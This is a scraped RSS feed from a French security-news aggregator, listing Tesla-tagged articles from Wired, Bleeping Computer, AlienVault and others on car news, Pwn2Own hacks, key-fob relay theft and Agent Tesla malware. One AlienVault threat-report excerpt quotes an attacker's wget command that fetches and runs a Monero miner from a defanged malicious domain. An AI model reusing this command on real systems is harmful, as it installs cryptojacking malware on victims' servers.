This is the RSS 2.0 feed from www.secnews.physaphae.fr. IT's a simple agragated flow of multiple articles soruces. Liste of sources, can be found on www.secnews.physaphae.fr. 2024-05-10T10:01:52+00:00 www.secnews.physaphae.fr Bleeping Computer - Magazine Américain 2019-07-17T03:33:03+00:00 https://www.bleepingcomputer.com/news/security/cracked-tesla-3-windshield-leads-to-10-000-bug-bounty/ www.secnews.physaphae.fr/article.php?IdArticle=1210888 False Vulnerability Tesla None InformationSecurityBuzzNews - Site de News Securite Expert comment: Former Tesla Employee Accused Of IP Theft, Uploaded Autopilot Code To iCloud]]> 2019-07-12T18:30:01+00:00 https://www.informationsecuritybuzz.com/expert-comments/expert-comment-former-tesla-employee-accused-of-ip-theft-uploaded-autopilot-code-to-icloud/ www.secnews.physaphae.fr/article.php?IdArticle=1202291 False None Tesla None Wired Threat Level - Security News 2019-07-06T12:00:00+00:00 https://www.wired.com/story/norway-electric-vehicles-tourism www.secnews.physaphae.fr/article.php?IdArticle=1189691 False None Tesla None Wired Threat Level - Security News 2019-07-03T21:08:04+00:00 https://www.wired.com/story/tesla-model-3-crash-europe-heatwave-climate-change www.secnews.physaphae.fr/article.php?IdArticle=1185743 False None Tesla None Wired Threat Level - Security News 2019-07-03T08:00:00+00:00 https://www.wired.com/story/tesla-model-3-can-survive-crash-avoid-one-too www.secnews.physaphae.fr/article.php?IdArticle=1184681 False None Tesla None IT Security Guru - Blog Sécurité 2019-06-27T10:55:04+00:00 https://www.itsecurityguru.org/2019/06/27/hackers-can-take-control-of-tesla-model-3-navigation/ www.secnews.physaphae.fr/article.php?IdArticle=1176119 False Hack,Threat Tesla None Bleeping Computer - Magazine Américain 2019-06-23T13:18:02+00:00 https://www.bleepingcomputer.com/news/security/beware-of-fake-john-mcafee-and-tesla-cryptocurrency-giveaways/ www.secnews.physaphae.fr/article.php?IdArticle=1169587 False None Tesla None Wired Threat Level - Security News 2019-06-23T13:00:00+00:00 https://www.wired.com/story/tesla-truckla-robotic-pizza-delivery-more-car-news www.secnews.physaphae.fr/article.php?IdArticle=1169321 False None Tesla None The Security Ledger - Blog Sécurité Attack on Tesla Autopilot highlights Bigger Risk of Insecure Sensors]]> 2019-06-20T16:10:05+00:00 https://feeds.feedblitz.com/~/603314106/0/thesecurityledger~Attack-on-Tesla-Autopilot-highlights-Bigger-Risk-of-Insecure-Sensors/ www.secnews.physaphae.fr/article.php?IdArticle=1165696 False None Tesla None Wired Threat Level - Security News 2019-06-19T23:57:00+00:00 https://www.wired.com/story/bored-charging-your-tesla-play-videogame-your-car www.secnews.physaphae.fr/article.php?IdArticle=1164512 False None Tesla None Wired Threat Level - Security News 2019-06-18T22:02:03+00:00 https://www.wired.com/story/facebook-cryptocurrency-libra-tesla-truck-simone-giertz www.secnews.physaphae.fr/article.php?IdArticle=1162955 False None Tesla None Wired Threat Level - Security News 2019-06-18T15:00:00+00:00 https://www.wired.com/story/simone-giertz-tesla-pickup-model-3-truckla www.secnews.physaphae.fr/article.php?IdArticle=1162394 False None Tesla None Wired Threat Level - Security News 2019-06-10T21:32:04+00:00 https://www.wired.com/story/audi-recalls-e-tron-suvs-battery-issue www.secnews.physaphae.fr/article.php?IdArticle=1148325 False None Tesla None IT Security Guru - Blog Sécurité 2019-06-03T12:54:04+00:00 https://www.itsecurityguru.org/2019/06/03/gandcrab-ransomware-shurts-down-with-2-5-billion-in-retirement-savings/ www.secnews.physaphae.fr/article.php?IdArticle=1137223 True Ransomware Tesla None InformationSecurityBuzzNews - Site de News Securite Car Manufacturers Be Aware – Bluetooth Module Could Lead To Vehicle Shut Down By Hackers]]> 2019-05-21T20:30:01+00:00 https://www.informationsecuritybuzz.com/expert-comments/car-manufacturers-be-aware-bluetooth-module-could-lead-to-vehicle-shut-down-by-hackers/ www.secnews.physaphae.fr/article.php?IdArticle=1118625 False Guideline Tesla None InformationSecurityBuzzNews - Site de News Securite Hacking Tesla Cars- How Leaving A Bluetooth Diagnostics Module Connected Is A Bad Idea]]> 2019-05-20T14:50:02+00:00 https://www.informationsecuritybuzz.com/expert-comments/hacking-tesla-cars-how-leaving-a-bluetooth-diagnostics-module-connected-is-a-bad-idea/ www.secnews.physaphae.fr/article.php?IdArticle=1116639 False None Tesla None IT Security Guru - Blog Sécurité 2019-05-20T10:34:01+00:00 https://www.itsecurityguru.org/2019/05/20/teslas-elm327-bluetooth-can-be-hacked-to-analyse-can-messages-and-traffic-information/ www.secnews.physaphae.fr/article.php?IdArticle=1116232 False None Tesla None Wired Threat Level - Security News 2019-05-19T11:00:00+00:00 https://www.wired.com/story/another-fatal-tesla-autopilot-crash-more-car-news www.secnews.physaphae.fr/article.php?IdArticle=1114649 False None Tesla None Wired Threat Level - Security News 2019-05-16T22:33:04+00:00 https://www.wired.com/story/tesla-autopilot-crash-methane-climate-change-todays-news www.secnews.physaphae.fr/article.php?IdArticle=1111332 False None Tesla None Wired Threat Level - Security News 2019-05-16T21:46:03+00:00 https://www.wired.com/story/teslas-latest-autopilot-death-looks-like-prior-crash www.secnews.physaphae.fr/article.php?IdArticle=1111255 False None Tesla None UnderNews - Site de news "pirate" francais Tesla et Apple, deux des plus grandes entreprises au monde sont connues pour leurs technologies et produits innovants et révolutionnaires. La protection de leurs données sensibles et leur propriété intellectuelle sont des enjeux majeurs. Leurs vols ou piratages peuvent être à l'origine d'une perte de terrain face à un concurrent.]]> 2019-05-10T14:14:03+00:00 https://www.undernews.fr/reseau-securite/analyste-des-menaces-internes-pourquoi-est-il-devenu-indispensable.html www.secnews.physaphae.fr/article.php?IdArticle=1102247 False None Tesla None Wired Threat Level - Security News 2019-05-05T13:00:00+00:00 https://www.wired.com/story/tesla-raises-money-drones-get-certified-more-car-news www.secnews.physaphae.fr/article.php?IdArticle=1097501 False None Tesla,Uber None Wired Threat Level - Security News 2019-04-28T13:00:00+00:00 https://www.wired.com/story/teslas-robotaxis-ugly-earnings-more-car-news-this-week www.secnews.physaphae.fr/article.php?IdArticle=1095738 False None Tesla None Wired Threat Level - Security News 2019-04-26T23:51:02+00:00 https://www.wired.com/story/tesla-ceo-elon-musk-stricter-twitter-babysitter www.secnews.physaphae.fr/article.php?IdArticle=1095484 False None Tesla None Wired Threat Level - Security News 2019-04-04T21:38:00+00:00 https://www.wired.com/story/tesla-better-making-cars-delivering-them-not-so-much www.secnews.physaphae.fr/article.php?IdArticle=1089647 False None Tesla None The Security Ledger - Blog Sécurité Hackers Remotely Steer Tesla Model S Using...Read the whole entry...  _!fbztxtlnk!_ https://feeds.feedblitz.com/~/600291374/0/thesecurityledger -->»]]> 2019-04-03T12:26:01+00:00 https://feeds.feedblitz.com/~/600291374/0/thesecurityledger~Hackers-Remotely-Steer-Tesla-Model-S-Using-Autopilot-System/ www.secnews.physaphae.fr/article.php?IdArticle=1087545 False None Tesla None ZD Net - Magazine Info 2019-04-02T11:55:05+00:00 https://www.zdnet.com/article/hackers-reveal-how-to-trick-a-tesla-into-steering-towards-oncoming-traffic/#ftag=RSSbaffb68 www.secnews.physaphae.fr/article.php?IdArticle=1087463 False Vulnerability Tesla None We Live Security - Editeur Logiciel Antivirus ESET The electric automaker is working to release a fix for the underlying vulnerability in a matter of days ]]> 2019-03-25T15:47:01+00:00 https://www.welivesecurity.com/2019/03/25/white-hats-hack-tesla-keep/ www.secnews.physaphae.fr/article.php?IdArticle=1080843 False Hack,Vulnerability Tesla None IT Security Guru - Blog Sécurité 2019-03-25T14:15:03+00:00 https://www.itsecurityguru.org/2019/03/25/security-researchers-hack-telsa-car-at-pwn2own-contest/ www.secnews.physaphae.fr/article.php?IdArticle=1080698 True Hack Tesla None Bleeping Computer - Magazine Américain 2019-03-25T10:18:02+00:00 https://www.bleepingcomputer.com/news/security/tesla-model-3-hacked-on-the-last-day-of-pwn2own/ www.secnews.physaphae.fr/article.php?IdArticle=1080820 False None Tesla None Wired Threat Level - Security News 2019-03-24T13:00:00+00:00 https://www.wired.com/story/uber-crash-anniversary-tesla-zoox-lawsuit-roundup www.secnews.physaphae.fr/article.php?IdArticle=1080097 False None Tesla None ZD Net - Magazine Info 2019-03-23T16:30:00+00:00 https://www.zdnet.com/article/tesla-car-hacked-at-pwn2own-contest/#ftag=RSSbaffb68 www.secnews.physaphae.fr/article.php?IdArticle=1078660 False None Tesla None Security Affairs - Blog Secu 2019-03-23T12:28:03+00:00 https://securityaffairs.co/wordpress/82780/hacking/pwn2own-2019-day-3.html www.secnews.physaphae.fr/article.php?IdArticle=1078327 False None Tesla None SecurityWeek - Security News ]]> 2019-03-23T06:02:01+00:00 https://www.securityweek.com/pwn2own-2019-researchers-win-tesla-after-hacking-its-browser www.secnews.physaphae.fr/article.php?IdArticle=1078541 False None Tesla None Wired Threat Level - Security News 2019-03-21T23:06:03+00:00 https://www.wired.com/story/tesla-sues-zoox-over-manufacturing-logistics-secrets www.secnews.physaphae.fr/article.php?IdArticle=1075884 False None Tesla None Wired Threat Level - Security News 2019-03-15T23:02:01+00:00 https://www.wired.com/story/tesla-model-y-suv-specs-competitors-compared www.secnews.physaphae.fr/article.php?IdArticle=1072190 False None Tesla None TechRepublic - Security News US 2019-03-15T16:34:05+00:00 https://www.techrepublic.com/article/how-tesla-is-helping-girls-learn-more-about-engineering/#ftag=RSS56d97e7 www.secnews.physaphae.fr/article.php?IdArticle=1071422 False None Tesla None Wired Threat Level - Security News 2019-03-15T04:59:01+00:00 https://www.wired.com/story/tesla-model-y-specs-photos-reveal www.secnews.physaphae.fr/article.php?IdArticle=1070665 False None Tesla None Wired Threat Level - Security News 2019-03-15T02:47:01+00:00 https://www.wired.com/story/live-tesla-debuts-the-model-y-its-baby-suv www.secnews.physaphae.fr/article.php?IdArticle=1070458 False None Tesla None AlienVault Blog - AlienVault est un acteur de defense majeur dans les IOC compromise container management platforms. We recently investigated attacks involving mining malware served from the domain xaxaxa[.]eu. That domain may sound familiar, as it appeared in a February 2018 report by RedLock on the compromise of the Kubernetes infrastructure of an electric car company. The report details the container commands showing the malicious request. RedLock reported the attackers used the compromised Kubernetes server in Amazon Web Services to mine Monero and potentially access customer data. In the event of such unrestricted access, cryptocurrency mining is one of the least malicious outcomes to victim organizations. For example, customer data and business operations could be at risk for theft or malicious modification. Following the attention of the report by RedLock, the owners of xaxaxa[.]eu published a Public Notice stating that they are just a mining proxy and are not responsible for any malicious activity themselves. Notably, we have also observed the domain serving pages saying it is a Dynamic Domain and a Vesta Control Panel. However, we have seen from other attacks listed in this article that the root domain is actively involved in serving malware and implicated in other campaigns. Control Panel Exploitation We have also observed attacks aimed at the control panels of web hosting solutions. The impact is similar to the previous topics, essentially allowing administrative control over web services for the execution of malicious code. In April 2018, the same attackers that compromised Kubernetes infrastructure started exploiting an unknown vulnerability in VestaCP.  This was followed by frantic posts on the official VestaCP forums and those of web-hosts that run VestaCP.  VestaCP users provided details on how their installations were compromised. In these attacks, they added a new backdoor user called “sysroot,” and then downloaded and installed the XMRig application to mine Monero cryptocurrency. pkill -f xmrig; wget -O /tmp/gcc http://xaxaxa[.]eu/gcc; chmod +x gcc; wget -O /tmp/config_1.json http://xaxaxa[.]eu/config_1.json; /tmp/gcc -c /tmp/config_1.json; Lastly, the ]]> 2019-03-14T14:55:00+00:00 https://feeds.feedblitz.com/~/599567166/0/alienvault-blogs~Making-it-Rain-Cryptocurrency-Mining-Attacks-in-the-Cloud www.secnews.physaphae.fr/article.php?IdArticle=1069807 False Guideline Tesla,Uber None Wired Threat Level - Security News 2019-03-12T04:37:05+00:00 https://www.wired.com/story/elon-musk-tesla-twitter-sec-settlement www.secnews.physaphae.fr/article.php?IdArticle=1065422 False None Tesla None Wired Threat Level - Security News 2019-03-03T14:00:00+00:00 https://www.wired.com/story/tesla-model-3-35000-lyft-ipo-roundup www.secnews.physaphae.fr/article.php?IdArticle=1051504 False None Tesla None Wired Threat Level - Security News 2019-02-28T23:58:01+00:00 https://www.wired.com/story/tesla-model-3-35000-price-autopilot-self-driving-stores-closing www.secnews.physaphae.fr/article.php?IdArticle=1046924 False None Tesla None Wired Threat Level - Security News 2019-02-28T00:01:02+00:00 https://www.wired.com/story/polestar-2-electric-volvo www.secnews.physaphae.fr/article.php?IdArticle=1045635 False None Tesla None SecurityWeek - Security News 2019-02-26T17:42:05+00:00 https://www.securityweek.com/nvidia-patches-high-risk-vulnerabilities-gpu-display-drivers www.secnews.physaphae.fr/article.php?IdArticle=1045169 False None Tesla None Wired Threat Level - Security News 2019-02-26T03:46:00+00:00 https://www.wired.com/story/elon-musk-tweet-tesla-contempt-court-sec www.secnews.physaphae.fr/article.php?IdArticle=1042014 False None Tesla None Wired Threat Level - Security News 2019-02-24T14:00:00+00:00 https://www.wired.com/story/tesla-self-driving-model-3-news-roundup www.secnews.physaphae.fr/article.php?IdArticle=1039978 False None Tesla None Wired Threat Level - Security News 2019-02-20T01:53:04+00:00 https://www.wired.com/story/elon-musk-tesla-full-self-driving-2019-2020-promise www.secnews.physaphae.fr/article.php?IdArticle=1033281 False None Tesla None Wired Threat Level - Security News 2019-02-18T11:00:00+00:00 https://www.wired.com/story/diy-tesla-mechanic-resurrects-damaged-electric-cars www.secnews.physaphae.fr/article.php?IdArticle=1030751 False None Tesla None Korben - Bloger francais Suite]]> 2019-02-08T16:27:00+00:00 https://korben.info/pinball-musk.html www.secnews.physaphae.fr/article.php?IdArticle=1021409 False None Tesla None Wired Threat Level - Security News 2019-01-31T01:03:00+00:00 https://www.wired.com/story/tesla-q4-2018-profits-elon-musk-model-y www.secnews.physaphae.fr/article.php?IdArticle=1016020 False None Tesla None Wired Threat Level - Security News 2019-01-20T14:00:00+00:00 https://www.wired.com/story/future-of-cars-tesla-layoffs www.secnews.physaphae.fr/article.php?IdArticle=1000827 False None Tesla None Wired Threat Level - Security News 2019-01-19T01:26:04+00:00 https://www.wired.com/story/tesla-lawsuit-elon-musk-grimes-azealia-banks www.secnews.physaphae.fr/article.php?IdArticle=999444 False None Tesla None Wired Threat Level - Security News 2019-01-18T22:46:05+00:00 https://www.wired.com/story/tesla-layoffs-cost-cutting www.secnews.physaphae.fr/article.php?IdArticle=999276 False None Tesla None We Live Security - Editeur Logiciel Antivirus ESET The electric car maker is raising the ante in automotive security, putting one of its swanky models as a target at a hacking contest ]]> 2019-01-16T14:59:04+00:00 https://www.welivesecurity.com/2019/01/16/car-almost-1m-offer-tesla-model-3-hacks/ www.secnews.physaphae.fr/article.php?IdArticle=995332 False None Tesla None Bleeping Computer - Magazine Américain 2019-01-16T09:59:03+00:00 https://www.bleepingcomputer.com/news/hardware/nvidia-tesla-t4-gpus-in-beta-on-the-google-cloud-platform/ www.secnews.physaphae.fr/article.php?IdArticle=995184 False None Tesla None Graham Cluley - Blog Security This year, for the first time ever, a popular car will be amongst the products hackers will be trying to exploit at the Pwn2Own contest. Read more in my article on the Hot for Security blog. ]]> 2019-01-15T14:10:02+00:00 https://hotforsecurity.bitdefender.com/blog/huge-prizes-up-for-grabs-for-anyone-who-can-hack-a-tesla-20743.html#new_tab www.secnews.physaphae.fr/article.php?IdArticle=993518 False Hack Tesla None ZD Net - Magazine Info 2019-01-14T22:51:04+00:00 https://www.zdnet.com/article/a-security-conference-will-let-you-hack-a-tesla-car-and-earn-cash-prizes/#ftag=RSSbaffb68 www.secnews.physaphae.fr/article.php?IdArticle=992508 False Hack Tesla None Wired Threat Level - Security News 2019-01-13T14:00:00+00:00 https://www.wired.com/story/ces-flying-cars-bell-beta-veoneer-self-driving-cars www.secnews.physaphae.fr/article.php?IdArticle=990127 False None Tesla None Wired Threat Level - Security News 2019-01-12T13:00:00+00:00 https://www.wired.com/story/a-flying-tesla-sure-we-calculate-the-power-demands www.secnews.physaphae.fr/article.php?IdArticle=988565 False None Tesla None Wired Threat Level - Security News 2019-01-09T02:29:04+00:00 https://www.wired.com/story/tesla-promobot-pave-self-driving-education www.secnews.physaphae.fr/article.php?IdArticle=982053 False None Tesla None Wired Threat Level - Security News 2019-01-06T18:01:05+00:00 https://www.wired.com/story/tesla-price-cut-car-news-this-week www.secnews.physaphae.fr/article.php?IdArticle=978141 False None Tesla None Wired Threat Level - Security News 2019-01-02T23:43:02+00:00 https://www.wired.com/story/tesla-tax-credit-price-cut www.secnews.physaphae.fr/article.php?IdArticle=974169 False None Tesla None Wired Threat Level - Security News 2018-12-30T15:00:00+00:00 https://www.wired.com/story/best-tech-quotes-of-the-year www.secnews.physaphae.fr/article.php?IdArticle=970724 False None Tesla None Korben - Bloger francais Suite]]> 2018-12-27T16:37:03+00:00 https://korben.info/la-tesla-model-3-rootee.html www.secnews.physaphae.fr/article.php?IdArticle=973359 False None Tesla None Wired Threat Level - Security News 2018-12-24T12:00:00+00:00 https://www.wired.com/story/tesla-elon-musk-very-good-year-model-3 www.secnews.physaphae.fr/article.php?IdArticle=962035 False None Tesla None Wired Threat Level - Security News 2018-12-19T05:50:03+00:00 https://www.wired.com/story/elon-musk-boring-company-car-flinging-tunnel www.secnews.physaphae.fr/article.php?IdArticle=953649 False None Tesla None Wired Threat Level - Security News 2018-12-16T14:00:00+00:00 https://www.wired.com/story/elon-musk-tesla-aston-martin-valkyrie www.secnews.physaphae.fr/article.php?IdArticle=948943 False None Tesla None Wired Threat Level - Security News 2018-12-13T11:00:00+00:00 https://www.wired.com/story/elon-musk-tesla-life-inside-gigafactory www.secnews.physaphae.fr/article.php?IdArticle=943893 False Guideline Tesla None Wired Threat Level - Security News 2018-12-11T01:18:03+00:00 https://www.wired.com/story/elon-musk-tesla-autopilot-60-minutes-interview www.secnews.physaphae.fr/article.php?IdArticle=943130 False None Tesla None Wired Threat Level - Security News 2018-12-09T14:00:00+00:00 https://www.wired.com/story/waymo-self-driving-this-week-cars www.secnews.physaphae.fr/article.php?IdArticle=942451 False None Tesla None AlienVault Blog - AlienVault est un acteur de defense majeur dans les IOC LastLine. Despite this rapid growth, Agent Tesla is far from the most popular. That title goes to Pony, which represents 39% of the total password stealer detections, according to Blueliv’s 2018 report, The Credential Theft Ecosystem. LokiPWS and KeyBase trailed Pony at 28% and 16%, respectively. These password stealers are each capable of stealing credentials and other information from a wide variety of programs. Each is unique with its own techniques for delivery and a range of features that hackers can use to mount attacks. Despite the differences, each of these programs can have severe impacts on their victims. The negative impacts can range from having all of the money stolen from an individual’s accounts, to the theft of a company’s intellectual property. The key features of some of the most common password stealers are listed below: Agent Tesla Like most password stealers, Agent Tesla can access a wide variety of your information, ranging from your credentials to your keystrokes. It can even take screenshots and videos from your device’s camera. Agent Tesla targets a number of major programs, including web browsers, email clients, FTP applications and other commonly used software. Once Agent Tesla has been installed on a target’s computer, it can also be used to download other malware. This feature allows threat actors to intensify their attacks and make them even more devastating. Its pricing shows that the malware industry hasn’t been left behind in the X-as-a-service boom, because it is available as part of a plan that starts from $15 per month. This price includes all the 24/7 support someone might need to assist them in their criminal endeavors. Of course, payments are made in Bitcoin. Despite running what must have been an incredibly profitable business, Agent Tesla’s creators have recently posted an update stating it will crack down on illegal use of the program. Under its terms of service, it declares that the software must only be used within the law, but features such as anti-antivirus throw these intentions into question. Due to the recent media attention that Agent Tesla has received, the developers will strip some of its more questionable features, such as anti-antivirus and webcam capture. They also claim to be banning those who are using the program maliciously. Only time will tell whether the creators are sincere, or if this is merely an attempt to keep the authorities from knocking down their doors. Pony Pony is currently the most popular password stealer, but it’s certainly not new. In the past, it has been used to control a number of enormous botnets, which by 2013 had already stolen more than two million credential sets. In 2014, it involved into a series of attacks that stole $200,000 worth of cryptocurrencies, as well as 700,000 sets of credentials. In recent years, Pony has seen prominence as a loader alongside other malware, such as CryptoWall and Angler. These programs, a type of ransomware and an exploit kit, respective]]> 2018-12-06T14:00:00+00:00 https://feeds.feedblitz.com/~/584023900/0/alienvault-blogs~Password-Stealers-Aren%e2%80%99t-Letting-up-Any-Time-Soon www.secnews.physaphae.fr/article.php?IdArticle=937528 False Malware,Threat Tesla None Wired Threat Level - Security News 2018-12-04T01:27:04+00:00 https://www.wired.com/story/tesla-sleeping-driver-dui-arrest-autopilot www.secnews.physaphae.fr/article.php?IdArticle=933207 False None Tesla None AlienVault Blog - AlienVault est un acteur de defense majeur dans les IOC Following are a couple examples: EC2 instance creation or deletion. This is fairly common and relatively easy to do compared with the other examples. If somebody gets a hold of a set of keys  that allows them to create EC2 instances in your AWS account, that’s the first thing they're going do. There are a lot of bots out there looking for this access, and if a bot finds a set of keys that allows it to start interfacing with EC2, it's going to spin up a bunch of instances - likely to start mining cryptocurrency. This actually happened to Tesla, a pretty good sized company with quite a few resources to allocate to securing their infrastructure. There are many examples in the news about keys getting published to GitHub inadvertently, and there are bots out there scraping GitHub looking for access keys and the second they find them they’re in your AWS account seeing what they can do. Another scenario is roles that do automated things, like take RDS snapshots or EBS snapshots. The attacker might abuse the automated process to back up various resources like EBS or an RDS database. If an attacker gets access to that role or the keys associated with it and takes snapshots of these resources, they can deploy a new RDS database based on the snapshot. And when they do that they get to reset the passwords associated with the database. So now they've got access to all of your data without actually having to have the passwords required on the RDS instance. It's the same thing with the EBS (Elastic Block Store) snapshot. If somebody is able to take a snapshot, basically of a hard drive in AWS, they can launch a new instance connected to that block store and do some interesting things with it. For example, assuming they’re able to create an SSH key pair in your account, they could launch a new instance from the snapshot and assign their key pair to the instance, giving them full access to the data of the original instance. If they can’t create SSH keys in your account, they might try to mount the snapshot to an existing instance they can already access. Basically this is a crafty way to work around credential control and access control. This is a technique that's been used to actually exfiltrate data out of AWS, just by taking snapshots.   The last example is account hijacking. One story that got some headlines a while back involved attackers getting full control of an AWS account through a set of keys. The account was compromised so thoroughly that trust in the service was eroded to ]]> 2018-11-28T14:00:00+00:00 https://feeds.feedblitz.com/~/582658042/0/alienvault-blogs~IAM-and-Common-Abuses-in-AWS www.secnews.physaphae.fr/article.php?IdArticle=924125 False None Tesla None Malwarebytes Labs - MalwarebytesLabs A roundup of last week's security news from November 19–25, including a business email compromise attack, deep dive into DNA testing kits, and more troubles for Tesla. Categories: Security world Week in security Tags: AndroiddnaGoogle Playlastpassmalwarephishingroundupteslaweek in security (Read more...) ]]> 2018-11-26T18:21:03+00:00 https://blog.malwarebytes.com/security-world/2018/11/week-security-november-19-25/ www.secnews.physaphae.fr/article.php?IdArticle=920965 False None Tesla,LastPass None Wired Threat Level - Security News 2018-11-26T13:00:00+00:00 https://www.wired.com/story/rivian-wants-to-do-for-pickups-what-tesla-did-for-cars www.secnews.physaphae.fr/article.php?IdArticle=920416 False None Tesla None Graham Cluley - Blog Security Tesla takes customer service a step too far, is it a romantic gesture or stalking when you email 246 women called Nicole, and Carole finds herself in a Facebook dilemma. All this and much more is discussed in the latest edition of the award-winning “Smashing Security” podcast by computer security veterans Graham Cluley and Carole Theriault, joined this week by Jessica Barker. ]]> 2018-11-22T00:22:05+00:00 https://www.grahamcluley.com/smashing-security-105-facebook-nietzsche-tesla-and-nicole/ www.secnews.physaphae.fr/article.php?IdArticle=911317 False None Tesla None Wired Threat Level - Security News 2018-11-18T14:00:00+00:00 https://www.wired.com/story/future-of-cars-pink-tax www.secnews.physaphae.fr/article.php?IdArticle=904736 False None Tesla None Wired Threat Level - Security News 2018-11-14T13:00:00+00:00 https://www.wired.com/story/tesla-gm-nissan-ev-drive-coalition-federal-tax-credit www.secnews.physaphae.fr/article.php?IdArticle=896200 False None Tesla None Wired Threat Level - Security News 2018-11-11T14:00:00+00:00 https://www.wired.com/story/car-news-roundup-tesla-model-3-sales www.secnews.physaphae.fr/article.php?IdArticle=891575 False None Tesla None Wired Threat Level - Security News 2018-11-07T12:00:00+00:00 https://www.wired.com/story/booming-model-3-sales-moving-tesla-beyond-niche www.secnews.physaphae.fr/article.php?IdArticle=884727 False None Tesla None Wired Threat Level - Security News 2018-11-04T14:00:00+00:00 https://www.wired.com/story/waymo-self-driving-california-tesla-autopilot-roundup www.secnews.physaphae.fr/article.php?IdArticle=879093 False None Tesla None Wired Threat Level - Security News 2018-11-04T12:00:00+00:00 https://www.wired.com/story/tesla-navigate-on-autopilot www.secnews.physaphae.fr/article.php?IdArticle=879014 False None Tesla None Wired Threat Level - Security News 2018-10-31T01:24:03+00:00 https://www.wired.com/story/tesla-autopilot-crash-lawsuit-florida-shawn-hudson www.secnews.physaphae.fr/article.php?IdArticle=871629 False None Tesla None Wired Threat Level - Security News 2018-10-28T12:00:00+00:00 https://www.wired.com/story/car-news-roundup-tesla-profitable-dinky-evs-ode www.secnews.physaphae.fr/article.php?IdArticle=867076 False None Tesla None Wired Threat Level - Security News 2018-10-24T23:46:04+00:00 https://www.wired.com/story/tesla-finally-made-profit-promises-to-keep-doing www.secnews.physaphae.fr/article.php?IdArticle=861295 False None Tesla None CSO - CSO Daily Dashboard 2018-10-23T07:42:00+00:00 https://www.csoonline.com/article/3314835/security/surveillance-video-shows-high-tech-thieves-using-relay-attack-to-steal-tesla-model-s.html#tk.rss_all www.secnews.physaphae.fr/article.php?IdArticle=858654 True None Tesla None CSO - CSO Daily Dashboard 2018-10-23T07:42:00+00:00 https://www.csoonline.com/article/3314835/security/high-tech-thieves-used-a-relay-attack-to-steal-a-tesla-model-s.html#tk.rss_all www.secnews.physaphae.fr/article.php?IdArticle=860374 True None Tesla None Graham Cluley - Blog Security Criminals were able to dupe the Tesla's passive entry system into giving them access, and letting them drive away. (But only after they struggled to unplug it.) ]]> 2018-10-22T21:59:04+00:00 https://www.grahamcluley.com/watch-how-a-tesla-model-s-was-stolen-with-just-a-tablet/ www.secnews.physaphae.fr/article.php?IdArticle=857216 False None Tesla None Krebs on Security - Chercheur Américain 2018-10-22T19:55:03+00:00 https://krebsonsecurity.com/2018/10/who-is-agent-tesla/ www.secnews.physaphae.fr/article.php?IdArticle=857077 False Malware Tesla 2.0000000000000000 Wired Threat Level - Security News 2018-10-21T13:00:00+00:00 https://www.wired.com/story/cars-roundup-new-model-3-lime-new-scooter www.secnews.physaphae.fr/article.php?IdArticle=855304 False None Tesla None Wired Threat Level - Security News 2018-10-19T23:19:01+00:00 https://www.wired.com/story/tesla-mid-range-model-3-apple-iphone-xr www.secnews.physaphae.fr/article.php?IdArticle=855319 False None Tesla None ZD Net - Magazine Info 2018-10-16T10:07:04+00:00 https://www.zdnet.com/article/hackers-tamper-with-exploit-chain-to-drop-agent-tesla-circumvent-antivirus-solutions/#ftag=RSSbaffb68 www.secnews.physaphae.fr/article.php?IdArticle=849774 False Malware Tesla None Bleeping Computer - Magazine Américain 2018-10-15T19:47:01+00:00 https://www.bleepingcomputer.com/news/security/new-technique-recycles-exploit-chain-to-keep-antivirus-silent/ www.secnews.physaphae.fr/article.php?IdArticle=849133 False Malware Tesla None Wired Threat Level - Security News 2018-10-07T13:00:00+00:00 https://www.wired.com/story/this-week-future-cars-go-your-own-way www.secnews.physaphae.fr/article.php?IdArticle=834634 False None Tesla None Wired Threat Level - Security News 2018-10-04T22:57:04+00:00 https://www.wired.com/story/tesla-autopilot-safety-report-statistics www.secnews.physaphae.fr/article.php?IdArticle=830889 False None Tesla None Wired Threat Level - Security News 2018-10-02T17:55:03+00:00 https://www.wired.com/story/tesla-q3-production-numbers www.secnews.physaphae.fr/article.php?IdArticle=828748 False None Tesla None Wired Threat Level - Security News 2018-09-29T11:00:00+00:00 https://www.wired.com/story/the-case-against-elon-musk-will-chill-innovation www.secnews.physaphae.fr/article.php?IdArticle=825962 False None Tesla 3.0000000000000000 Wired Threat Level - Security News 2018-09-23T13:00:00+00:00 https://www.wired.com/story/this-week-future-cars-electric-start www.secnews.physaphae.fr/article.php?IdArticle=821141 False None Tesla None Wired Threat Level - Security News 2018-09-21T20:34:00+00:00 https://www.wired.com/story/tesla-model-3-crash-testing-safety-rating www.secnews.physaphae.fr/article.php?IdArticle=819507 False None Tesla None